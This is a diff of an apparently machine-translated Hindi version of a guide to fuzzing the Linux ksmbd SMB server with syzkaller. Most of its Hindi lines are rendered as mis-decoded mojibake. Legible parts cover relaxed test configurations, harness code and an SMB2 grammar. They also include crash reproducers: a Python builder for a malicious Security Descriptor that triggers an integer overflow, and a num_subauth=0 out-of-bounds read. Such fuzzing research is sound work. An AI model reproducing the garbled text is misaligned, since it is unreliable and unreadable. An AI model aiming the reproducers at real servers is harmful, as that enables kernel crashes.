рддрд╛рдХрд┐ harness рд╕рд░рд▓ рд░рд╣реЗред --- -## Configuration рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ ksmbd рдЖрдХреНрд░рдордг рд╕рддрд╣ рдмрдврд╝рд╛рдПрдБ -рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдПрдХ рдиреНрдпреВрдирддрдо ksmbd рд╕реЗрдЯрдЕрдк рд╕рд░реНрд╡рд░ рдХреЗ рдмрдбрд╝реЗ рд╣рд┐рд╕реНрд╕реЛрдВ рдХреЛ рдЕрдЯреЗрд╕реНрдЯреЗрдб рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдЕрддрд┐рд░рд┐рдХреНрдд parsers/handlers рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд░реНрд╡рд░ рдХреЛ рдЪрд▓рд╛рдиреЗ рдФрд░ рдЧрд╣рд░реЗ рдХреЛрдб рдкрд╛рдереНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ: +## Expand ksmbd Attack Surface via Configuration +рдбрд┐рдлрд╝реЙрд▓реНрдЯ, minimal ksmbd рд╕реЗрдЯрдЕрдк рд╕рд░реНрд╡рд░ рдХреЗ рдмрдбрд╝реЗ рд╣рд┐рд╕реНрд╕реЛрдВ рдХреЛ untested рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рд╕рд░реНрд╡рд░ рдХреЛ рдЕрддрд┐рд░рд┐рдХреНрдд parsers/handlers рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреНрд░рд╛рдЗрд╡ рдХрд░рдиреЗ рдФрд░ рдЧрд╣рд░реЗ рдХреЛрдб рдкрд╛рдереНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ: - Global-level - Durable handles @@ -20,7 +20,7 @@ - Oplocks (on by default) - VFS objects -рдЗрдирдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЙрдбреНрдпреВрд▓реНрд╕ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдмрдврд╝рддрд╛ рд╣реИ: +рдЗрдирдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдирд┐рдореНрди рдореЙрдбреНрдпреВрд▓реЛрдВ рдореЗрдВ execution рдмрдврд╝рддреА рд╣реИ: - smb2pdu.c (command parsing/dispatch) - ndr.c (NDR encode/decode) - oplock.c (oplock request/break) @@ -28,28 +28,28 @@ - vfs.c (VFS ops) - vfs_cache.c (lookup cache) -рдиреЛрдЯреНрд╕ -- рд╕рдЯреАрдХ рд╡рд┐рдХрд▓реНрдк рдЖрдкрдХреЗ distroтАЩs ksmbd userspace (ksmbd-tools) рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред /etc/ksmbd/ksmbd.conf рдФрд░ per-share sections рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рддрд╛рдХрд┐ durable handles, leases, oplocks рдФрд░ VFS objects рд╕рдХреНрд╖рдо рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВред -- Multi-channel рдФрд░ durable handles state machines рдФрд░ lifetimes рдХреЛ рдмрджрд▓рддреЗ рд╣реИрдВ, рдФрд░ concurrency рдХреЗ рджреМрд░рд╛рди рдЕрдХреНрд╕рд░ UAF/refcount/OOB рдмрдЧреНрд╕ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред +Notes +- рд╕рдЯреАрдХ рд╡рд┐рдХрд▓реНрдк рдЖрдкрдХреЗ distro рдХреЗ ksmbd userspace (ksmbd-tools) рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред /etc/ksmbd/ksmbd.conf рдФрд░ per-share sections рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рддрд╛рдХрд┐ durable handles, leases, oplocks рдФрд░ VFS objects рд╕рдХреНрд╖рдо рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВред +- Multi-channel рдФрд░ durable handles state machines рдФрд░ lifetimes рдХреЛ рдмрджрд▓рддреЗ рд╣реИрдВ, рдЬреЛ concurrency рдореЗрдВ рдЕрдХреНрд╕рд░ UAF/refcount/OOB рдмрдЧреНрд╕ рдХреЛ surface рдХрд░рддреЗ рд╣реИрдВред --- -## Fuzzing рдХреЗ рд▓рд┐рдП Authentication рдФрд░ Rate-Limiting рд╕рдорд╛рдпреЛрдЬрди -SMB3 рдХреЛ рдПрдХ valid session рдЪрд╛рд╣рд┐рдПред harnesses рдореЗрдВ Kerberos рд▓рд╛рдЧреВ рдХрд░рдиреЗ рд╕реЗ рдЬрдЯрд┐рд▓рддрд╛ рдмрдврд╝рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП fuzzing рдХреЗ рд▓рд┐рдП NTLM/guest рдкрд╕рдВрдж рдХрд░реЗрдВ: +## Authentication and Rate-Limiting Adjustments for Fuzzing +SMB3 рдХреЛ рдПрдХ valid session рдЪрд╛рд╣рд┐рдПред harnesses рдореЗрдВ Kerberos рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЬрдЯрд┐рд▓рддрд╛ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП fuzzing рдХреЗ рд▓рд┐рдП NTLM/guest рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ: -- Allow guest access рдФрд░ map to guest = bad user рд╕реЗрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ unknown users GUEST рдкрд░ fallback рдХрд░ рдЬрд╛рдПрдБред -- NTLMv2 рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ (рдЕрдЧрд░ disabled рд╣реЛ рддреЛ policy patch рдХрд░реЗрдВ)ред рдЗрд╕рд╕реЗ handshake рд╕рд░рд▓ рд░рд╣рддрд╛ рд╣реИ рдЬрдмрдХрд┐ SMB3 code paths рдХрд╛ рдкрд░реАрдХреНрд╖рдг рд╣реЛрддрд╛ рд╣реИред -- experimentation рдХреЗ рджреМрд░рд╛рди strict credit checks рдХреЛ patch out рдХрд░реЗрдВ (post-hardening рдХреЗ рдмрд╛рдж CVE-2024-50285 рдиреЗ simultaneous-op crediting рдХреЛ рдХрдбрд╝рд╛ рдХрд┐рдпрд╛)ред рдЕрдиреНрдпрдерд╛, rate-limits fuzzed sequences рдХреЛ рдмрд╣реБрдд рдЬрд▓реНрджреА reject рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -- max connections рдмрдврд╝рд╛рдПрдБ (рдЙрджрд╛., 65536) рддрд╛рдХрд┐ high-throughput fuzzing рдХреЗ рджреМрд░рд╛рди рдкреНрд░рд╛рд░рдВрднрд┐рдХ rejections рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред +- guest access рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдФрд░ map to guest = bad user рд╕реЗрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ unknown users GUEST рдкрд░ fallback рдХрд░реЗрдВред +- NTLMv2 рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ (рдпрджрд┐ disabled рд╣реИ рддреЛ policy patch рдХрд░реЗрдВ)ред рдпрд╣ handshake рдХреЛ рд╕рд░рд▓ рд░рдЦрддрд╛ рд╣реИ рдЬрдмрдХрд┐ SMB3 рдХреЛрдб рдкрд╛рдереНрд╕ рдХреЛ рдПрдХреНрд╕рд░рд╕рд╛рдЗрдЬрд╝ рдХрд░рддрд╛ рд╣реИред +- experimentation рдХрд░рддреЗ рд╕рдордп strict credit checks рдХреЛ patch рдХрд░ рджреЗрдВ (CVE-2024-50285 рдХреЗ рдмрд╛рдж simultaneous-op crediting рдЬреНрдпрд╛рджрд╛ рд╕рдЦреНрдд рд╣реБрдЖ)ред рдЕрдиреНрдпрдерд╛, rate-limits fuzzed sequences рдХреЛ рдмрд╣реБрдд рдЬрд▓реНрджреА reject рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- high-throughput fuzzing рдХреЗ рджреМрд░рд╛рди рдЬрд▓реНрджреА rejections рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП max connections рдмрдврд╝рд╛рдПрдБ (рдЙрджрд╛., 65536)ред -рд╕рд╛рд╡рдзрд╛рдиреА: рдпреЗ рдвреАрд▓ рдХреЗрд╡рд▓ fuzzing рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИрдВред рдЗрди рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде production рдореЗрдВ deploy рди рдХрд░реЗрдВред +Caution: рдпреЗ рд╢рд┐рдерд┐рд▓рддрд╛рдПрдБ рдХреЗрд╡рд▓ fuzzing рдХреА рд╕реБрд╡рд┐рдзрд╛ рдХреЗ рд▓рд┐рдП рд╣реИрдВред production рдореЗрдВ рдЗрди settings рдХреЗ рд╕рд╛рде рддреИрдирд╛рдд рди рдХрд░реЗрдВред --- -## Stateful Harness: Resources рдирд┐рдХрд╛рд▓рдирд╛ рдФрд░ Requests рдХреЛ Chain рдХрд░рдирд╛ -SMB stateful рд╣реИ: рдХрдИ requests рдЙрди identifiers рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ prior responses рд╕реЗ рд▓реМрдЯрддреЗ рд╣реИрдВ (SessionId, TreeID, FileID pairs)ред рдЖрдкрдХрд╛ harness responses рдХреЛ parse рдХрд░реЗ рдФрд░ рдЙрд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рднреАрддрд░ IDs рдХреЛ reuse рдХрд░реЗ рддрд╛рдХрд┐ рдЧрд╣рд░реЗ handlers рддрдХ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХреЗ (рдЙрджрд╛., smb2_create тЖТ smb2_ioctl тЖТ smb2_close)ред +## Stateful Harness: Extract Resources and Chain Requests +SMB stateful рд╣реИ: рдХрдИ requests prior responses рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдП рдЧрдП identifiers рдкрд░ рдирд┐рд░реНрднрд░ рд╣реЛрддреЗ рд╣реИрдВ (SessionId, TreeID, FileID pairs)ред рдЖрдкрдХрд╛ harness responses рдХреЛ parse рдХрд░рдХреЗ рдЙрдиреНрд╣реАрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рднреАрддрд░ IDs рдХреЛ reuse рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдЧрд╣рд░реЗ handlers рддрдХ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХреЗ (рдЙрджрд╛., smb2_create тЖТ smb2_ioctl тЖТ smb2_close)ред -рдПрдХ рдЙрджрд╛рд╣рд░рдг snippet рдЬреЛ response buffer рдХреЛ process рдХрд░рддрд╛ рд╣реИ (+4B NetBIOS PDU length рдЫреЛрдбрд╝рддреЗ рд╣реБрдП) рдФрд░ IDs рдХреЛ cache рдХрд░рддрд╛ рд╣реИ: +Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs: ```c // process response. does not contain +4B PDU length void process_buffer(int msg_no, const char *buffer, size_t received) { @@ -76,15 +76,15 @@ break; } ``` рдЯрд┐рдкреНрд╕ -- рдПрдХ рд╣реА fuzzer process рд░рдЦреЗрдВ рдЬреЛ authentication/state рд╕рд╛рдЭрд╛ рдХрд░реЗ: ksmbd рдХреА global/session tables рдХреЗ рд╕рд╛рде рдмреЗрд╣рддрд░ рд╕реНрдерд┐рд░рддрд╛ рдФрд░ рдХрд╡рд░реЗрдЬ рдорд┐рд▓рддрд╛ рд╣реИред syzkaller рдлрд┐рд░ рднреА ops рдХреЛ async рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рд░реНрдХ рдХрд░рдХреЗ concurrency рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ, рдФрд░ internally rerun рдХрд░рддрд╛ рд╣реИред -- Syzkaller рдХреЗ experimental reset_acc_state global state рдХреЛ reset рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдпрд╣ рднрд╛рд░реА slowdown рд▓рд╛ рд╕рдХрддрд╛ рд╣реИред рд╕реНрдерд┐рд░рддрд╛ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ рдФрд░ fuzzing рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВред +- Keep one fuzzer process sharing authentication/state: better stability and coverage with ksmbdтАЩs global/session tables. syzkaller still injects concurrency by marking ops async, rerun internally. +- SyzkallerтАЩs experimental reset_acc_state can reset global state but may introduce heavy slowdown. Prefer stability and focus fuzzing instead. --- -## рд╡реНрдпрд╛рдХрд░рдг-рдЪрд╛рд▓рд┐рдд SMB2 Generation (Valid PDUs) -Microsoft Open Specifications рдореЗрдВ рджрд┐рдП рдЧрдП SMB2 рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЛ рдПрдХ fuzzer grammar рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдкрдХрд╛ generator рд╕рдВрд░рдЪрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ valid PDUs рдмрдирд╛рдП, рдЬреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдврдВрдЧ рд╕реЗ dispatchers рдФрд░ IOCTL handlers рддрдХ рдкрд╣реБрдБрдЪреЗрдВред +## рд╡реНрдпрд╛рдХрд░рдг-рдЖрдзрд╛рд░рд┐рдд SMB2 рдЬрдирд░реЗрд╢рди (Valid PDUs) +Microsoft Open Specifications SMB2 structures рдХреЛ рдПрдХ fuzzer grammar рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдкрдХрд╛ generator рд╕рдВрд░рдЪрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ valid PDUs рдЙрддреНрдкрдиреНрди рдХрд░реЗ, рдЬреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рд░реВрдк рд╕реЗ dispatchers рдФрд░ IOCTL handlers рддрдХ рдкрд╣реБрдБрдЪреЗрдВред -Example (SMB2 IOCTL request): +рдЙрджрд╛рд╣рд░рдг (SMB2 IOCTL request): ``` smb2_ioctl_req { Header_Prefix SMB2Header_Prefix @@ -107,12 +107,12 @@ Input array[int8] Output array[int8] } [packed] ``` -рдпрд╣ рддрд░реАрдХрд╛ рд╕рд╣реА structure sizes/offsets рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ blind mutation рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдХрд╡рд░реЗрдЬ рдХреЛ рдирд╛рдЯрдХреАрдп рд░реВрдк рд╕реЗ рд╕реБрдзрд╛рд░рддрд╛ рд╣реИред +рдпрд╣ рд╢реИрд▓реА correct structure sizes/offsets рдХреЛ рдордЬрдмреВрд░ рдХрд░рддреА рд╣реИ рдФрд░ blind mutation рдХреА рддреБрд▓рдирд╛ рдореЗрдВ coverage рдХреЛ рдирд╛рдЯрдХреАрдп рд░реВрдк рд╕реЗ рдмреЗрд╣рддрд░ рдмрдирд╛рддреА рд╣реИред --- -## Directed Fuzzing With focus_areas -рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЬрд┐рди рд╡рд┐рд╢рд┐рд╖реНрдЯ functions/files рдХрд╛ рдХрд╡рд░реЗрдЬ рдХрдордЬреЛрд░ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рдЕрдзрд┐рдХ рд╡рдЬрд╝рди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП syzkallerтАЩs рдХреЗ experimental focus_areas рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг JSON: +## Directed Fuzzing рдХреЗ рд╕рд╛рде focus_areas +syzkaller рдХреЗ experimental focus_areas рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди specific functions/files рдХреЛ overweight рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ рдЬрд┐рдирдХреА рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдХрдордЬреЛрд░ coverage рд╣реИред рдЙрджрд╛рд╣рд░рдг JSON: ```json { "focus_areas": [ @@ -122,8 +122,7 @@ Output array[int8] ] } ``` -рдпрд╣ рд╡реИрдз ACLs рдмрдирд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рдЬреЛ smbacl.c рдореЗрдВ arithmetic/overflow paths рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг Security Descriptor рдЬрд┐рд╕рдореЗрдВ рдЕрддреНрдпрдзрд┐рдХ рдмрдбрд╝рд╛ dacloffset рд╣реИ, рд╡рд╣ рдПрдХ integer-overflow рдХреЛ рдкреБрдирд░реБрддреНрдкрдиреНрди рдХрд░ рджреЗрддрд╛ рд╣реИред +рдпрд╣ valid ACLs рдмрдирд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рдЬреЛ smbacl.c рдореЗрдВ arithmetic/overflow paths рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ malicious Security Descriptor рдЬрд┐рд╕рдореЗрдВ oversized dacloffset рд╣реЛ, рд╡рд╣ integer-overflow рдХреЛ reproduce рдХрд░рддрд╛ рд╣реИред рд░рд┐рдкреНрд░реЛрдбреНрдпреВрд╕рд░ рдмрд┐рд▓реНрдбрд░ (minimal Python): ```python @@ -144,8 +143,8 @@ return bytes(sd) ``` --- -## ANYBLOB рдХреЗ рд╕рд╛рде рдХрд╡рд░реЗрдЬ рдкреНрд▓реЗрдЯреЛ рддреЛрдбрд╝рдирд╛ -syzkallerтАЩs anyTypes (ANYBLOB/ANYRES) рдЬрдЯрд┐рд▓ рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЛ рдРрд╕реЗ рдмреНрд▓реЙрдмреНрд╕ рдореЗрдВ рд╕рдВрдХреБрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред public SMB pcaps рд╕реЗ рдирдпрд╛ corpus рддреИрдпрд╛рд░ рдХрд░реЗрдВ рдФрд░ payloads рдХреЛ syzkaller programs рдореЗрдВ рдмрджрд▓реЗрдВ рдЬреЛ рдЖрдкрдХреЗ pseudo-syscall (рдЙрджрд╛., syz_ksmbd_send_req) рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реЛрдВ: +## ANYBLOB рдХреЗ рд╕рд╛рде рдХрд╡рд░реЗрдЬ рдХреА рд╕реАрдорд╛рдПрдБ рддреЛрдбрд╝рдирд╛ +syzkallerтАЩs anyTypes (ANYBLOB/ANYRES) рдЬрдЯрд┐рд▓ рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХреЛ blobs рдореЗрдВ рд╕рдореЗрдЯрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдЬреЗрдирд░рд┐рдХ рд░реВрдк рд╕реЗ рдмрджрд▓рддреА рд╣реИрдВред рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ SMB pcaps рд╕реЗ рдПрдХ рдирдпрд╛ corpus рддреИрдпрд╛рд░ рдХрд░реЗрдВ рдФрд░ payloads рдХреЛ syzkaller programs рдореЗрдВ рдмрджрд▓реЗрдВ рдЬреЛ рдЖрдкрдХреЗ pseudo-syscall (e.g., syz_ksmbd_send_req) рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ: ```bash # Extract SMB payloads to JSON # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json @@ -168,14 +167,14 @@ f.write( f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" ) ``` -рдпрд╣ рдЕрдиреНрд╡реЗрд╖рдг рдХреЛ рддреБрд░рдВрдд рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ рдФрд░ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП ksmbd_sessions_deregister рдореЗрдВ) рддреБрд░рдВрдд UAFs рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдХрд╡рд░реЗрдЬ рдХреЛ рдХреБрдЫ рдкреНрд░рддрд┐рд╢рдд рдмрдврд╝рд╛ рджреЗрддрд╛ рд╣реИред +рдпрд╣ рдЦреЛрдЬ рдХреЛ рддреБрд░рдВрдд рдЖрд░рдВрдн рдХрд░ рджреЗрддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ рдкреНрд░рддрд┐рд╢рдд рдХрд╡рд░рд┐рдЬ рдмрдврд╝рд╛рддреЗ рд╣реБрдП рддреБрд░рдВрдд UAFs (рдЙрджрд╛., ksmbd_sessions_deregister рдореЗрдВ) рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред --- -## Sanitizers: KASAN рдХреЗ рдкрд░реЗ -- KASAN heap рдмрдЧреНрд╕ (UAF/OOB) рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рдердорд┐рдХ рдбрд┐рдЯреЗрдХреНрдЯрд░ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИред -- KCSAN рдЕрдХреНрд╕рд░ рдЗрд╕ рдЯрд╛рд░реНрдЧреЗрдЯ рдореЗрдВ false positives рдпрд╛ рдХрдо-рдЧрдВрднреАрд░рддрд╛ рд╡рд╛рд▓реЗ data races рджреЗрддрд╛ рд╣реИред -- UBSAN/KUBSAN declared-bounds рдЧрд▓рддрд┐рдпреЛрдВ рдХреЛ рдкрдХрдбрд╝ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ KASAN array-index semantics рдХреЗ рдХрд╛рд░рдг рдорд┐рд╕ рдХрд░ рджреЗрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг: +## Sanitizers: KASAN рд╕реЗ рдЖрдЧреЗ +- KASAN heap bugs (UAF/OOB) рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рдердорд┐рдХ рдбрд┐рдЯреЗрдХреНрдЯрд░ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИред +- KCSAN рдЕрдХреНрд╕рд░ рдЗрд╕ target рдореЗрдВ false positives рдпрд╛ low-severity data races рджреЗрддрд╛ рд╣реИред +- UBSAN/KUBSAN рдЙрди declared-bounds рдЧрд▓рддрд┐рдпреЛрдВ рдХреЛ рдкрдХрдбрд╝ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ array-index semantics рдХреЗ рдХрд╛рд░рдг KASAN рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг: ```c id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); struct smb_sid { @@ -183,28 +182,28 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ } __attribute__((packed)); ``` -Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSANтАЩs declared-bounds checks. +Setting num_subauth = 0 рд╕реЗрдЯ рдХрд░рдиреЗ рд╕реЗ struct рдХреЗ рдЕрдВрджрд░ sub_auth[-1] рдХрд╛ OOB read рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ UBSANтАЩs declared-bounds checks рдиреЗ рдкрдХрдбрд╝рд╛ред --- -## Throughput and Parallelism Notes -- рдПрдХ рдЕрдХреЗрд▓рд╛ fuzzer process (shared auth/state) рдЖрдорддреМрд░ рдкрд░ ksmbd рдХреЗ рд▓рд┐рдП рдХрд╛рдлреА рдЕрдзрд┐рдХ рд╕реНрдерд┐рд░ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рднреА races/UAFs рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдзрдиреНрдпрд╡рд╛рдж syzkallerтАЩs internal async executorред -- рдХрдИ VMs рдХреЗ рд╕рд╛рде, рдЖрдк рдХреБрд▓ рдорд┐рд▓рд╛рдХрд░ рдЕрднреА рднреА рд╕реИрдХрдбрд╝реЛрдВ SMB commands/second рдорд╛рд░ рд╕рдХрддреЗ рд╣реИрдВред Function-level coverage рд▓рдЧрднрдЧ ~60% fs/smb/server рдФрд░ ~70% smb2pdu.c рддрдХ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ state-transition coverage рдРрд╕реЗ рдореЗрдЯреНрд░рд┐рдХреНрд╕ рд╕реЗ рдХрдо рджрд┐рдЦрддреА рд╣реИред +## рдереНрд░реВрдкреБрдЯ рдФрд░ рд╕рдорд╛рдирд╛рдВрддрд░рддрд╛ рдиреЛрдЯреНрд╕ +- рдПрдХ single fuzzer process (shared auth/state) рдЖрдо рддреМрд░ рдкрд░ ksmbd рдХреЗ рд▓рд┐рдП рдХрд╛рдлреА рдЕрдзрд┐рдХ рд╕реНрдерд┐рд░ рд╣реЛрддрд╛ рд╣реИ рдФрд░ syzkaller рдХреЗ internal async executor рдХреА рд╡рдЬрд╣ рд╕реЗ рдлрд┐рд░ рднреА races/UAFs рдЙрднрд░рддреЗ рд╣реИрдВред +- multiple VMs рдХреЗ рд╕рд╛рде, рдХреБрд▓ рдорд┐рд▓рд╛рдХрд░ рдЖрдк рдЕрднреА рднреА рд╕реИрдХрдбрд╝реЛрдВ SMB commands/second рдорд╛рд░ рд╕рдХрддреЗ рд╣реИрдВред Function-level coverage рд▓рдЧрднрдЧ ~60% of fs/smb/server рдФрд░ ~70% of smb2pdu.c рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдпреЛрдЧреНрдп рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ state-transition coverage рдРрд╕реЗ metrics рджреНрд╡рд╛рд░рд╛ рдХрдо рджрд┐рдЦрддреА рд╣реИред --- -## Practical Checklist +## рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдЪреЗрдХрд▓рд┐рд╕реНрдЯ - ksmbd рдореЗрдВ durable handles, leases, multi-channel, oplocks, рдФрд░ VFS objects рд╕рдХреНрд╖рдо рдХрд░реЗрдВред -- guest рдФрд░ map-to-guest рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ; NTLMv2 рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВред fuzzer рд╕реНрдерд┐рд░рддрд╛ рдХреЗ рд▓рд┐рдП credit limits рдХреЛ рд╣рдЯрд╛рдПрдБ рдФрд░ max connections рдмрдврд╝рд╛рдПрдБред -- рдПрдХ stateful harness рдмрдирд╛рдЗрдП рдЬреЛ SessionId/TreeID/FileIDs рдХреЛ cache рдХрд░реЗ рдФрд░ create тЖТ ioctl тЖТ close рдХреЛ chain рдХрд░реЗред -- рд╕реНрдЯреНрд░рдХреНрдЪрд░рд▓ рд╡реИрдзрддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП SMB2 PDUs рдХреЗ рд▓рд┐рдП grammar рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -- рдХрдо рдЖрд╡реГрддреНрддрд┐ рд╕реЗ рдХрд╡рд░ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдкрд░ рд╡рдЬрди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП focus_areas рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдЙрджрд╛., smbacl.c paths рдЬреИрд╕реЗ smb_check_perm_dacl)ред -- plateaus рддреЛрдбрд╝рдиреЗ 